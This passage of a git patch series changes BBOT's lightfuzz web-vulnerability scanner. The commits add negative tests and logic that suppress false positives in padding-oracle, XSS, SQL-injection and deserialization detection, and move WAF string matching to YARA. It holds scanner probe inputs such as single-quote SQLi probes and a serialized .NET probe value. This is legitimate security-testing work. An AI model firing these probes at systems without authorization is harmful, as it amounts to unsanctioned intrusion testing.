"dplyorsu8VUriMW/8DqVDU6kRwL/FDk3Q+4GXVGZbo0CTh9YX1YvzZZJrYe4cHxvAICyliYtp1im4fWoOa54Zg==" + ) + default_html_response = f""" + + +
+ + +
+ + + """ + + if "/decrypt" in request.url and request.method == "POST": + # Every response is unique, simulating ADFS-style dynamic content + Test_Lightfuzz_PaddingOracleDetection_JitterStability.jitter_counter += 1 + response_content = f"Error correlation_id={Test_Lightfuzz_PaddingOracleDetection_JitterStability.jitter_counter} nonce=abc{Test_Lightfuzz_PaddingOracleDetection_JitterStability.jitter_counter}" + return Response(response_content, status=200) + else: + return Response(default_html_response, status=200) + + def check(self, module_test, events): + web_parameter_extracted = False + padding_oracle_detected = False + for e in events: + if e.type == "WEB_PARAMETER": + if "HTTP Extracted Parameter [encrypted_data] (POST Form" in e.data["description"]: + web_parameter_extracted = True + if e.type == "FINDING": + if "Padding Oracle" in e.data["description"]: + padding_oracle_detected = True + + assert web_parameter_extracted, "Web parameter was not extracted" + assert not padding_oracle_detected, ( + "Padding oracle should NOT be detected when endpoint has jittery responses (stability pre-check should abort)" + ) + + +# XSS Multi-Context Reflection False Positive +class Test_Lightfuzz_xss_multicontext(Test_Lightfuzz_xss): + """XSS negative test: parameter reflected in multiple contexts with different encoding. + Quote survives in text content but is encoded in tag attribute. Should NOT report Tag Attribute XSS.""" + + def request_handler(self, request): + qs = str(request.query_string.decode()) + + parameter_block = """ + +
+ + +
+ + """ + if "path=" in qs: + value = qs.split("path=")[1] + if "&" in value: + value = value.split("&")[0] + decoded = unquote(value) + # Tag attribute context: quotes are URL-encoded (safe) + attr_value = decoded.replace('"', "%22") + # Text content: raw reflection (quotes survive but harmless here) + text_value = decoded + # JS context: everything URL-encoded (safe) + js_value = value + + html = f""" + +
+ +
+

{text_value}

+ + + """ + return Response(html, status=200) + return Response(parameter_block, status=200) + + async def setup_after_prep(self, module_test): + module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: "AAAAAAAAAAAAAA" + expect_args = re.compile("/") + module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) + + def check(self, module_test, events): + web_parameter_emitted = False + tag_attribute_xss_emitted = False + for e in events: + if e.type == "WEB_PARAMETER": + if "HTTP Extracted Parameter [path]" in e.data["description"]: + web_parameter_emitted = True + if e.type == "FINDING": + if "Possible Reflected XSS" in e.data["description"] and "Tag Attribute" in e.data["description"]: + tag_attribute_xss_emitted = True + + assert web_parameter_emitted, "WEB_PARAMETER was not emitted" + assert not tag_attribute_xss_emitted, ( + "Tag Attribute XSS should NOT be reported when the quote only survives in text content, not in tag attributes" + ) + + +# SQLi WAF False Positive (Akamai-style 403) +class Test_Lightfuzz_sqli_waf(Test_Lightfuzz_sqli): + """SQLi negative test: endpoint returns 403 with WAF signature when single quote is sent. + Should NOT report SQL injection.""" + + def request_handler(self, request): + qs = str(request.query_string.decode()) + parameter_block = """ + + """ + if "search=" in qs: + value = qs.split("=")[1] + if "&" in value: + value = value.split("&")[0] + + if value.endswith("'") and not value.endswith("''"): + # WAF blocks the request with a known WAF string + waf_response = """ + + Access Denied + +

Access Denied

+

The requested URL was rejected. Please consult with your administrator.

+ + + """ + return Response(waf_response, status=403) + return Response(parameter_block, status=200) + return Response(parameter_block, status=200) + + def check(self, module_test, events): + web_parameter_emitted = False + sqli_finding_emitted = False + for e in events: + if e.type == "WEB_PARAMETER": + if "HTTP Extracted Parameter [search]" in e.data["description"]: + web_parameter_emitted = True + if e.type == "FINDING": + if "Possible SQL Injection" in e.data["description"] and "Code Change" in e.data["description"]: + sqli_finding_emitted = True + + assert web_parameter_emitted, "WEB_PARAMETER was not emitted" + assert not sqli_finding_emitted, ( + "SQLi should NOT be reported when single quote probe triggers a WAF 403 response" + ) From 40f6bb90cd952bbf0ca9431fd86f8c0030dcb7d0 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 20 Mar 2026 15:24:16 -0400 Subject: [PATCH 05/50] Remove duplicate get_waf_strings() definition --- bbot/core/helpers/misc.py | 18 ------------------ 1 file changed, 18 deletions(-) diff --git a/bbot/core/helpers/misc.py b/bbot/core/helpers/misc.py index 37d39abdd8..22e1cf83d8 100644 --- a/bbot/core/helpers/misc.py +++ b/bbot/core/helpers/misc.py @@ -2676,24 +2676,6 @@ async def _cancel_and_drain_remaining(): await _cancel_and_drain_remaining() -def get_waf_strings(): - """ - Returns a list of common WAF (Web Application Firewall) detection strings. - - Returns: - list: List of WAF detection strings - - Examples: - >>> waf_strings = get_waf_strings() - >>> "The requested URL was rejected" in waf_strings - True - """ - return [ - "The requested URL was rejected", - "This content has been blocked", - ] - - def get_waf_strings(): """ Returns a list of common WAF (Web Application Firewall) detection strings. From abb171945960a92c62aafdca2a88079384adc0c4 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Wed, 25 Mar 2026 19:26:55 -0400 Subject: [PATCH 06/50] Skip Error Resolution for non-standard HTTP status codes (>511) Prevents false positive deserialization findings against endpoints like GlobalProtect that use non-standard status codes (e.g. 512). --- bbot/modules/lightfuzz/submodules/serial.py | 11 +++++++ .../module_tests/test_module_lightfuzz.py | 32 +++++++++++++++++++ 2 files changed, 43 insertions(+) diff --git a/bbot/modules/lightfuzz/submodules/serial.py b/bbot/modules/lightfuzz/submodules/serial.py index b019b1bfb3..69eaee9d5c 100644 --- a/bbot/modules/lightfuzz/submodules/serial.py +++ b/bbot/modules/lightfuzz/submodules/serial.py @@ -161,6 +161,17 @@ async def fuzz(self): # if the status code changed to 200, and the response doesn't match our general error exclusions, we have a finding self.debug(f"Potential finding detected for {payload_type}, needs confirmation") + + baseline_status = payload_baseline.baseline.status_code + # Skip Error Resolution if baseline uses a non-standard HTTP status code (>511). + # Non-standard codes (e.g. 512 from GlobalProtect) are application-specific + # and don't reliably indicate an error state that deserialization could "resolve". + if baseline_status > 511: + self.debug( + f"Baseline status {baseline_status} is non-standard (>511), skipping Error Resolution for {payload_type}" + ) + continue + if ( status_code == 200 and "code" in diff_reasons diff --git a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py index 9ece412dc9..fcd5b0c070 100644 --- a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py +++ b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py @@ -1385,6 +1385,38 @@ def check(self, module_test, events): ) +class Test_Lightfuzz_serial_errorresolution_nonstandard_status(Test_Lightfuzz_serial_errorresolution): + """A baseline with a non-standard status code (>511, e.g. GlobalProtect's 512) + should not produce an Error Resolution finding even if the probe returns 200.""" + + def request_handler(self, request): + dotnet_serial_error_resolved = ( + "Deserialization successful! Object type: System.String" + ) + post_params = request.form + + if "TextBox1" not in post_params.keys(): + return Response(self.dotnet_serial_html, status=200) + + else: + if post_params["__VIEWSTATE"] != "/wEPDwULLTE5MTI4MzkxNjVkZNt7ICM+GixNryV6ucx+srzhXlwP": + # Non-standard status code (like GlobalProtect's 512) + return Response(self.dotnet_serial_error, status=512) + if post_params["TextBox1"] == "AAEAAAD/////AQAAAAAAAAAGAQAAAAdndXN0YXZvCw==": + return Response(dotnet_serial_error_resolved, status=200) + else: + return Response(self.dotnet_serial_error, status=512) + + def check(self, module_test, events): + no_finding_emitted = True + for e in events: + if e.type == "FINDING" and "Error Resolution" in e.data.get("description", ""): + no_finding_emitted = False + assert no_finding_emitted, ( + "False positive Error Resolution finding was emitted for non-standard baseline status code (>511)" + ) + + # CMDi echo canary class Test_Lightfuzz_cmdi(ModuleTestBase): targets = ["http://127.0.0.1:8888"] From 79349dda8917e910cbf8bf8ba6891cab02e85c44 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Thu, 26 Mar 2026 22:32:14 -0400 Subject: [PATCH 07/50] Fix excavate redirect test to use e.url instead of e.data URL events are now DictHostEvent so e.data is a dict, not a string. --- bbot/test/test_step_2/module_tests/test_module_excavate.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/bbot/test/test_step_2/module_tests/test_module_excavate.py b/bbot/test/test_step_2/module_tests/test_module_excavate.py index cac9cc9040..5a2f44d8a7 100644 --- a/bbot/test/test_step_2/module_tests/test_module_excavate.py +++ b/bbot/test/test_step_2/module_tests/test_module_excavate.py @@ -1593,7 +1593,7 @@ async def setup_before_prep(self, module_test): def check(self, module_test, events): # The redirect URL itself should be emitted as URL_UNVERIFIED (that's correct behavior) - assert any(e.type == "URL_UNVERIFIED" and "login.microsoftonline.com" in e.data for e in events), ( + assert any(e.type == "URL_UNVERIFIED" and "login.microsoftonline.com" in e.url for e in events), ( "Redirect URL_UNVERIFIED should still be emitted" ) From 9fc38378415ffc33517f14c81dc82d5f5c06b63d Mon Sep 17 00:00:00 2001 From: liquidsec Date: Wed, 1 Apr 2026 13:23:49 -0400 Subject: [PATCH 08/50] Use YARA for WAF string detection instead of Python string-in loops --- bbot/modules/bypass403.py | 13 ++++++++---- bbot/modules/lightfuzz/lightfuzz.py | 3 +++ bbot/modules/lightfuzz/submodules/path.py | 5 ++--- bbot/modules/lightfuzz/submodules/serial.py | 23 ++++++++++++++------- bbot/modules/lightfuzz/submodules/sqli.py | 6 ++++-- 5 files changed, 34 insertions(+), 16 deletions(-) diff --git a/bbot/modules/bypass403.py b/bbot/modules/bypass403.py index 65cae080b4..4a4b0ec473 100644 --- a/bbot/modules/bypass403.py +++ b/bbot/modules/bypass403.py @@ -1,5 +1,6 @@ from bbot.errors import HttpCompareError from bbot.modules.base import BaseModule +from bbot.core.helpers.misc import get_waf_strings """ Port of https://github.com/iamj0ker/bypass-403/ and https://portswigger.net/bappstore/444407b96d9c4de0adb7aed89e826122 @@ -80,6 +81,10 @@ class bypass403(BaseModule): meta = {"description": "Check 403 pages for common bypasses", "created_date": "2022-07-05", "author": "@liquidsec"} in_scope_only = True + async def setup(self): + self.waf_yara_rules = self.helpers.yara.compile_strings(get_waf_strings(), nocase=True) + return True + async def do_checks(self, compare_helper, event, collapse_threshold): results = set() error_count = 0 @@ -105,10 +110,10 @@ async def do_checks(self, compare_helper, event, collapse_threshold): # In some cases WAFs will respond with a 200 code which causes a false positive if subject_response is not None: - for waf_string in self.helpers.get_waf_strings(): - if waf_string in subject_response.text: - self.debug("Rejecting result based on presence of WAF string") - return + waf_matches = await self.helpers.yara.match(self.waf_yara_rules, subject_response.text) + if waf_matches: + self.debug("Rejecting result based on presence of WAF string") + return if match is False: if str(subject_response.status_code)[0] != "4": diff --git a/bbot/modules/lightfuzz/lightfuzz.py b/bbot/modules/lightfuzz/lightfuzz.py index 231081006f..31329d80e9 100644 --- a/bbot/modules/lightfuzz/lightfuzz.py +++ b/bbot/modules/lightfuzz/lightfuzz.py @@ -2,6 +2,7 @@ from bbot.modules.base import BaseModule from bbot.errors import InteractshError +from bbot.core.helpers.misc import get_waf_strings class lightfuzz(BaseModule): @@ -60,6 +61,8 @@ async def setup(self): return False, f"Invalid Lightfuzz submodule ({submodule_name}) specified in enabled_modules" self.submodules[submodule_name] = submodule_class + self.waf_yara_rules = self.helpers.yara.compile_strings(get_waf_strings(), nocase=True) + interactsh_needed = any(submodule.uses_interactsh for submodule in self.submodules.values()) if interactsh_needed and not self.interactsh_disable: try: diff --git a/bbot/modules/lightfuzz/submodules/path.py b/bbot/modules/lightfuzz/submodules/path.py index 2fabc16ce0..b3bda83596 100644 --- a/bbot/modules/lightfuzz/submodules/path.py +++ b/bbot/modules/lightfuzz/submodules/path.py @@ -113,9 +113,8 @@ async def fuzz(self): and doubledot_probe[0] is False and doubledot_probe[3] is not None and doubledot_probe[1] != ["header"] - and not any( - waf_string in doubledot_probe[3].text - for waf_string in self.lightfuzz.helpers.get_waf_strings() + and not await self.lightfuzz.helpers.yara.match( + self.lightfuzz.waf_yara_rules, doubledot_probe[3].text ) ): confirmations += 1 diff --git a/bbot/modules/lightfuzz/submodules/serial.py b/bbot/modules/lightfuzz/submodules/serial.py index 69eaee9d5c..95beeb80d1 100644 --- a/bbot/modules/lightfuzz/submodules/serial.py +++ b/bbot/modules/lightfuzz/submodules/serial.py @@ -1,6 +1,5 @@ from .base import BaseLightfuzz from bbot.errors import HttpCompareError -from bbot.core.helpers.misc import get_waf_strings class serial(BaseLightfuzz): @@ -48,10 +47,20 @@ class serial(BaseLightfuzz): "java.io.optionaldataexception", ] - GENERAL_ERRORS = [ + GENERAL_ERROR_STRINGS = [ "Internal Error", "Internal Server Error", - ] + get_waf_strings() + ] + + @property + def general_error_yara_rules(self): + if not hasattr(self.lightfuzz, "_serial_general_error_rules"): + from bbot.core.helpers.misc import get_waf_strings + + self.lightfuzz._serial_general_error_rules = self.lightfuzz.helpers.yara.compile_strings( + self.GENERAL_ERROR_STRINGS + get_waf_strings(), nocase=True + ) + return self.lightfuzz._serial_general_error_rules def is_possibly_serialized(self, value): # Use the is_base64 method from BaseLightfuzz via self @@ -101,7 +110,6 @@ async def fuzz(self): php_raw_serialization_payloads = self.PHP_RAW_SERIALIZATION_PAYLOADS serialization_errors = self.SERIALIZATION_ERRORS - general_errors = self.GENERAL_ERRORS probe_value = self.incoming_probe_value(populate_empty=False) if probe_value: @@ -172,12 +180,13 @@ async def fuzz(self): ) continue + general_error_matches = await self.lightfuzz.helpers.yara.match( + self.general_error_yara_rules, response.text + ) if ( status_code == 200 and "code" in diff_reasons - and not any( - error in response.text for error in general_errors - ) # ensure the 200 is not actually an error + and not general_error_matches # ensure the 200 is not actually an error ): # Confirm the baseline error state is stable by re-sending the control payload. # If the control also returns 200 now, the original error was transient. diff --git a/bbot/modules/lightfuzz/submodules/sqli.py b/bbot/modules/lightfuzz/submodules/sqli.py index 094841afb6..8139089956 100644 --- a/bbot/modules/lightfuzz/submodules/sqli.py +++ b/bbot/modules/lightfuzz/submodules/sqli.py @@ -1,6 +1,5 @@ from .base import BaseLightfuzz from bbot.errors import HttpCompareError -from bbot.core.helpers.misc import get_waf_strings import statistics @@ -122,7 +121,10 @@ async def fuzz(self): ): # Check if the status code change is due to a WAF, not SQL injection if single_quote[3].status_code == 403: - waf_detected = any(ws in single_quote[3].text for ws in get_waf_strings()) + waf_matches = await self.lightfuzz.helpers.yara.match( + self.lightfuzz.waf_yara_rules, single_quote[3].text + ) + waf_detected = len(waf_matches) > 0 if waf_detected: self.debug( "Single quote probe returned 403 with WAF signature, " From ab42ab30ae18eafe8c75c851ea090a77a701ddfb Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 3 Apr 2026 15:48:23 -0400 Subject: [PATCH 09/50] =?UTF-8?q?Fix=20test=20module=20refs:=20httpx=20?= =?UTF-8?q?=E2=86=92=20http=20for=20blasthttp=20migration?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../test_step_2/module_tests/test_module_excavate.py | 2 +- .../test_step_2/module_tests/test_module_lightfuzz.py | 10 +++++----- 2 files changed, 6 insertions(+), 6 deletions(-) diff --git a/bbot/test/test_step_2/module_tests/test_module_excavate.py b/bbot/test/test_step_2/module_tests/test_module_excavate.py index 5a2f44d8a7..b325553590 100644 --- a/bbot/test/test_step_2/module_tests/test_module_excavate.py +++ b/bbot/test/test_step_2/module_tests/test_module_excavate.py @@ -1582,7 +1582,7 @@ class TestExcavateRedirectParameterScope(ModuleTestBase): """ targets = ["http://127.0.0.1:8888/"] - modules_overrides = ["httpx", "excavate", "hunt"] + modules_overrides = ["http", "excavate", "hunt"] async def setup_before_prep(self, module_test): module_test.httpserver.expect_request("/").respond_with_data( diff --git a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py index fcd5b0c070..4de37b9fe6 100644 --- a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py +++ b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py @@ -2373,7 +2373,7 @@ class Test_Lightfuzz_envelope_isolation_paddingoracle_reflecting(Test_Lightfuzz_ # ECB Mode Detection: ciphertext with repeated 16-byte blocks (A+B+A+B pattern) class Test_Lightfuzz_ECBDetection(ModuleTestBase): targets = ["http://127.0.0.1:8888/"] - modules_overrides = ["httpx", "excavate", "lightfuzz"] + modules_overrides = ["http", "excavate", "lightfuzz"] config_overrides = { "interactsh_disable": True, "modules": { @@ -2417,7 +2417,7 @@ def check(self, module_test, events): # ECB Negative: all unique blocks, should NOT detect ECB class Test_Lightfuzz_ECBDetection_Negative(ModuleTestBase): targets = ["http://127.0.0.1:8888/"] - modules_overrides = ["httpx", "excavate", "lightfuzz"] + modules_overrides = ["http", "excavate", "lightfuzz"] config_overrides = { "interactsh_disable": True, "modules": { @@ -2463,7 +2463,7 @@ def check(self, module_test, events): # CBC Bit-Flipping Detection: server returns different responses for different byte-position mutations class Test_Lightfuzz_CBCBitflipDetection(ModuleTestBase): targets = ["http://127.0.0.1:8888"] - modules_overrides = ["httpx", "excavate", "lightfuzz"] + modules_overrides = ["http", "excavate", "lightfuzz"] config_overrides = { "interactsh_disable": True, "modules": { @@ -2522,7 +2522,7 @@ def check(self, module_test, events): # CBC Bit-Flipping Negative: server returns identical response regardless of mutation position class Test_Lightfuzz_CBCBitflipDetection_Negative(ModuleTestBase): targets = ["http://127.0.0.1:8888"] - modules_overrides = ["httpx", "excavate", "lightfuzz"] + modules_overrides = ["http", "excavate", "lightfuzz"] config_overrides = { "interactsh_disable": True, "modules": { @@ -2563,7 +2563,7 @@ def check(self, module_test, events): # CBC bit-flip probes still produce different responses → detected. class Test_Lightfuzz_CBCBitflipDetection_NoPaddingOracle(ModuleTestBase): targets = ["http://127.0.0.1:8888"] - modules_overrides = ["httpx", "excavate", "lightfuzz"] + modules_overrides = ["http", "excavate", "lightfuzz"] config_overrides = { "interactsh_disable": True, "modules": { From f3be8cda0a2b64dca0638d9466386254fc244d54 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 3 Apr 2026 16:02:58 -0400 Subject: [PATCH 10/50] Compile serial error YARA rules in lightfuzz setup(), simplify sqli WAF guard --- bbot/modules/lightfuzz/lightfuzz.py | 9 ++++++++- bbot/modules/lightfuzz/submodules/serial.py | 8 +------- bbot/modules/lightfuzz/submodules/sqli.py | 16 ++++------------ 3 files changed, 13 insertions(+), 20 deletions(-) diff --git a/bbot/modules/lightfuzz/lightfuzz.py b/bbot/modules/lightfuzz/lightfuzz.py index 31329d80e9..a53e58c4be 100644 --- a/bbot/modules/lightfuzz/lightfuzz.py +++ b/bbot/modules/lightfuzz/lightfuzz.py @@ -61,7 +61,14 @@ async def setup(self): return False, f"Invalid Lightfuzz submodule ({submodule_name}) specified in enabled_modules" self.submodules[submodule_name] = submodule_class - self.waf_yara_rules = self.helpers.yara.compile_strings(get_waf_strings(), nocase=True) + waf_strings = get_waf_strings() + self.waf_yara_rules = self.helpers.yara.compile_strings(waf_strings, nocase=True) + # Serial submodule needs WAF + general error strings in one rule + from bbot.modules.lightfuzz.submodules.serial import serial + + self.serial_general_error_yara_rules = self.helpers.yara.compile_strings( + serial.GENERAL_ERROR_STRINGS + waf_strings, nocase=True + ) interactsh_needed = any(submodule.uses_interactsh for submodule in self.submodules.values()) if interactsh_needed and not self.interactsh_disable: diff --git a/bbot/modules/lightfuzz/submodules/serial.py b/bbot/modules/lightfuzz/submodules/serial.py index 95beeb80d1..b3fd4bd915 100644 --- a/bbot/modules/lightfuzz/submodules/serial.py +++ b/bbot/modules/lightfuzz/submodules/serial.py @@ -54,13 +54,7 @@ class serial(BaseLightfuzz): @property def general_error_yara_rules(self): - if not hasattr(self.lightfuzz, "_serial_general_error_rules"): - from bbot.core.helpers.misc import get_waf_strings - - self.lightfuzz._serial_general_error_rules = self.lightfuzz.helpers.yara.compile_strings( - self.GENERAL_ERROR_STRINGS + get_waf_strings(), nocase=True - ) - return self.lightfuzz._serial_general_error_rules + return self.lightfuzz.serial_general_error_yara_rules def is_possibly_serialized(self, value): # Use the is_base64 method from BaseLightfuzz via self diff --git a/bbot/modules/lightfuzz/submodules/sqli.py b/bbot/modules/lightfuzz/submodules/sqli.py index 8139089956..04a0d803d7 100644 --- a/bbot/modules/lightfuzz/submodules/sqli.py +++ b/bbot/modules/lightfuzz/submodules/sqli.py @@ -120,26 +120,18 @@ async def fuzz(self): single_quote[3].status_code != double_single_quote[3].status_code ): # Check if the status code change is due to a WAF, not SQL injection + is_waf = False if single_quote[3].status_code == 403: waf_matches = await self.lightfuzz.helpers.yara.match( self.lightfuzz.waf_yara_rules, single_quote[3].text ) - waf_detected = len(waf_matches) > 0 - if waf_detected: + if waf_matches: self.debug( "Single quote probe returned 403 with WAF signature, " "suppressing SQL injection finding" ) - else: - self.results.append( - { - "name": "Possible SQL Injection", - "severity": "HIGH", - "confidence": "MEDIUM", - "description": f"Possible SQL Injection. {self.metadata()} Detection Method: [Single Quote/Two Single Quote, Code Change ({http_compare.baseline.status_code}->{single_quote[3].status_code}->{double_single_quote[3].status_code})]", - } - ) - else: + is_waf = True + if not is_waf: self.results.append( { "name": "Possible SQL Injection", From 52c0cc85ab1e98e458212f1fdfeddceca2396e2b Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 13 Apr 2026 13:12:53 -0400 Subject: [PATCH 11/50] Reduce lightfuzz sqli false positives: url_extension filtering, confirmation loop, better finding descriptions - Hoist url_extension from URL_UNVERIFIED to DictEvent so WEB_PARAMETER events on static/special URLs get filtered - Extend accept_url_special gate to all events with URLs, not just URL types - Add lightfuzz filter_event rejection of WEB_PARAMETERs on url_extension_static URLs - Add sqli code-change confirmation loop (3 rounds with fresh baselines) to suppress transient flaps - Surface additional_params and probe request bodies in sqli finding descriptions - Fix baseline_probe() "eventtype" -> "type" typo, fix falsy check in incoming_probe_value() - Update paramminer_headers to use url_extension attribute --- bbot/core/event/base.py | 11 +- bbot/modules/base.py | 6 +- bbot/modules/lightfuzz/lightfuzz.py | 6 + bbot/modules/lightfuzz/submodules/base.py | 39 +++- bbot/modules/lightfuzz/submodules/sqli.py | 97 +++++++++- bbot/modules/paramminer_headers.py | 3 +- bbot/test/test_step_1/test_events.py | 38 ++++ .../module_tests/test_module_lightfuzz.py | 182 +++++++++++++++++- 8 files changed, 363 insertions(+), 19 deletions(-) diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index 77756df241..64ce185c4f 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -1068,10 +1068,20 @@ def sanitize_data(self, data): class DictEvent(BaseEvent): + __slots__ = ["url_extension"] + def sanitize_data(self, data): url = data.get("url", "") if url: self.parsed_url = self.validators.validate_url_parsed(url) + # extract url_extension from any dict event with a URL + url_path = self.parsed_url.path + if url_path: + parsed_path_lower = str(url_path).lower() + extension = get_file_extension(parsed_path_lower) + if extension: + self.url_extension = extension + self.add_tag(f"extension-{extension}") return data def _data_load(self, data): @@ -1297,7 +1307,6 @@ class URL_UNVERIFIED(DictHostEvent): __slots__ = [ "web_spider_distance", - "url_extension", "num_redirects", ] diff --git a/bbot/modules/base.py b/bbot/modules/base.py index a00c1966aa..1a045d2aa1 100644 --- a/bbot/modules/base.py +++ b/bbot/modules/base.py @@ -869,13 +869,13 @@ def _event_precheck(self, event): if self.target_only and "target" not in event.tags: return False, "it did not meet target_only filter criteria" - # limit js URLs to modules that opt in to receive them - if (not self.accept_url_special) and event.type.startswith("URL"): + # limit events with special URL extensions (e.g. .js) to modules that opt in + if not self.accept_url_special: extension = getattr(event, "url_extension", "") if extension in self.scan.url_extension_special: return ( False, - f"it is a special URL (extension {extension}) but the module does not opt in to receive special URLs", + f"it has a special URL extension ({extension}) but the module does not opt in to receive special URLs", ) return True, "precheck succeeded" diff --git a/bbot/modules/lightfuzz/lightfuzz.py b/bbot/modules/lightfuzz/lightfuzz.py index a53e58c4be..63a045e074 100644 --- a/bbot/modules/lightfuzz/lightfuzz.py +++ b/bbot/modules/lightfuzz/lightfuzz.py @@ -236,6 +236,12 @@ async def filter_event(self, event): self.debug(f"Skipping {event.type} because it is likely to be blocked by a WAF. URL: {url}") return False + # Skip WEB_PARAMETERs on static-asset URLs (pdf, doc, xml, etc.) — fuzzing them is pointless + if event.type == "WEB_PARAMETER": + ext = getattr(event, "url_extension", None) + if ext and ext in self.scan.config.get("url_extension_static", []): + return False, f"skipping WEB_PARAMETER on static-asset URL (.{ext})" + # If we've disabled fuzzing POST parameters, back out of POSTPARAM WEB_PARAMETER events as quickly as possible if event.type == "WEB_PARAMETER" and self.disable_post and event.data["type"] == "POSTPARAM": if not self.try_post_as_get: diff --git a/bbot/modules/lightfuzz/submodules/base.py b/bbot/modules/lightfuzz/submodules/base.py index d5730aee30..5c2103b1a8 100644 --- a/bbot/modules/lightfuzz/submodules/base.py +++ b/bbot/modules/lightfuzz/submodules/base.py @@ -159,7 +159,7 @@ async def baseline_probe(self, cookies): """ Executes a baseline probe to establish a baseline for comparison. """ - if self.event.data.get("eventtype") in ["POSTPARAM", "BODYJSON"]: + if self.event.data.get("type") in ["POSTPARAM", "BODYJSON"]: method = "POST" else: method = "GET" @@ -209,6 +209,8 @@ async def compare_probe( additional_params_populate_empty, skip_urlencoding, ) + # Stash request params for finding descriptions + self._last_probe_request = dict(request_params) # Perform the comparison using the constructed request parameters url = request_params.pop("url") return await http_compare.compare(url, **request_params) @@ -251,6 +253,16 @@ def metadata(self): metadata_string += ( f" Original Value: [{self.lightfuzz.helpers.truncate_string(self.event.data['original_value'], 200)}]" ) + # Surface additional_params for param types where they're needed to reproduce findings + if self.event.data["type"] in ("POSTPARAM", "BODYJSON", "HEADER", "COOKIE"): + additional_params = self.event.data.get("additional_params", {}) + if additional_params: + # Truncate individual values and the total string to keep descriptions manageable + truncated = { + k: self.lightfuzz.helpers.truncate_string(str(v), 50) for k, v in additional_params.items() + } + params_str = self.lightfuzz.helpers.truncate_string(str(truncated), 500) + metadata_string += f" Additional Params: {params_str}" return metadata_string def incoming_probe_value(self, populate_empty=True): @@ -258,11 +270,11 @@ def incoming_probe_value(self, populate_empty=True): Transparently modifies the incoming probe value (the original value of the WEB_PARAMETER), given any envelopes that may have been identified, so that fuzzing within the envelopes can occur. """ envelopes = getattr(self.event, "envelopes", None) - probe_value = "" + probe_value = None if envelopes is not None: probe_value = envelopes.get_subparam() self.debug(f"incoming_probe_value (after unpacking): {probe_value} with envelopes [{envelopes}]") - if not probe_value: + if probe_value is None or probe_value == "": if populate_empty is True: probe_value = self.lightfuzz.helpers.rand_string(10, numeric_only=True) else: @@ -287,6 +299,27 @@ def outgoing_probe_value(self, outgoing_probe_value): ) return outgoing_probe_value + def describe_probe_request(self, label, request_params): + """Format a probe's request params into a compact string for finding descriptions.""" + if not request_params: + return "" + method = request_params.get("method", "GET") + url = request_params.get("url", "") + data = request_params.get("data") + json_data = request_params.get("json") + if data: + body = "&".join(f"{k}={v}" for k, v in data.items()) + elif json_data: + import json + + body = json.dumps(json_data, separators=(",", ":")) + elif "?" in url: + body = url.split("?", 1)[1] + else: + body = "" + body = self.lightfuzz.helpers.truncate_string(body, 500) + return f" {label}: [{method} {body}]" + def get_submodule_name(self): """Extracts the submodule name from the class name.""" return self.__class__.__name__.replace("Lightfuzz", "").lower() diff --git a/bbot/modules/lightfuzz/submodules/sqli.py b/bbot/modules/lightfuzz/submodules/sqli.py index 04a0d803d7..c55a345fff 100644 --- a/bbot/modules/lightfuzz/submodules/sqli.py +++ b/bbot/modules/lightfuzz/submodules/sqli.py @@ -69,6 +69,65 @@ def evaluate_delay(self, mean_baseline, measured_delay): else: return False + async def _confirm_code_change(self, probe_value, cookies, initial_status_codes, rounds=2): + """Run additional confirmation rounds with fresh baselines to rule out transient server/CDN flaps. + + Each round creates a new HttpCompare (fresh baseline pair) and re-runs both probes. + Returns True only if every round produces the same (baseline, sq, dq) status codes + as the initial detection and the baseline status code is stable across all rounds. + """ + for i in range(rounds): + try: + fresh_compare = self.compare_baseline( + self.event.data["type"], probe_value, cookies, additional_params_populate_empty=True + ) + sq = await self.compare_probe( + fresh_compare, + self.event.data["type"], + f"{probe_value}'", + cookies, + additional_params_populate_empty=True, + ) + dq = await self.compare_probe( + fresh_compare, + self.event.data["type"], + f"{probe_value}''", + cookies, + additional_params_populate_empty=True, + ) + except HttpCompareError as e: + self.debug(f"Confirmation round {i + 1} baseline unstable: {e}") + return False + + if not sq[3] or not dq[3]: + self.debug(f"Confirmation round {i + 1} failed to get responses") + return False + + round_status_codes = ( + fresh_compare.baseline.status_code, + sq[3].status_code, + dq[3].status_code, + ) + + # Baseline must be stable across rounds + if round_status_codes[0] != initial_status_codes[0]: + self.debug( + f"Confirmation round {i + 1} baseline status code changed " + f"({initial_status_codes[0]} -> {round_status_codes[0]}), discarding as flappy" + ) + return False + + if round_status_codes != initial_status_codes: + self.debug( + f"Confirmation round {i + 1} status codes changed: " + f"expected {initial_status_codes}, got {round_status_codes}" + ) + return False + + self.debug(f"Confirmation round {i + 1} passed: {round_status_codes}") + + return True + async def fuzz(self): cookies = self.event.data.get("assigned_cookies", {}) probe_value = self.incoming_probe_value(populate_empty=True) @@ -85,6 +144,7 @@ async def fuzz(self): cookies, additional_params_populate_empty=True, ) + sq_request = getattr(self, "_last_probe_request", None) double_single_quote = await self.compare_probe( http_compare, self.event.data["type"], @@ -92,6 +152,7 @@ async def fuzz(self): cookies, additional_params_populate_empty=True, ) + dq_request = getattr(self, "_last_probe_request", None) # if the single quote probe response is different from the baseline if single_quote[0] is False: # check for common SQL error strings in the response @@ -132,14 +193,36 @@ async def fuzz(self): ) is_waf = True if not is_waf: - self.results.append( - { - "name": "Possible SQL Injection", - "severity": "HIGH", - "confidence": "MEDIUM", - "description": f"Possible SQL Injection. {self.metadata()} Detection Method: [Single Quote/Two Single Quote, Code Change 